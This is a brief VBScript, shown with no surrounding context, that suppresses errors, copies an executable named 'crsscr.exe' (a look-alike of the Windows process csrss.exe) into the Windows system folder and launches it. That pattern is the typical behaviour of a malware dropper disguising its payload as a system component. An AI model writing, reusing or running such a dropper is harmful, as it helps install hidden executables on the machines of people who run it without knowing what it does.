on error resume next
set cron = CreateObject("Scripting.FileSystemObject")
set sy = cron.GetSpecialFolder(1)
cron.CopyFile ".\crsscr.exe" , sy & "\crsscr.exe "
set omi = CreateObject("WScript.shell")
omi.Run sy & "\crsscr.exe"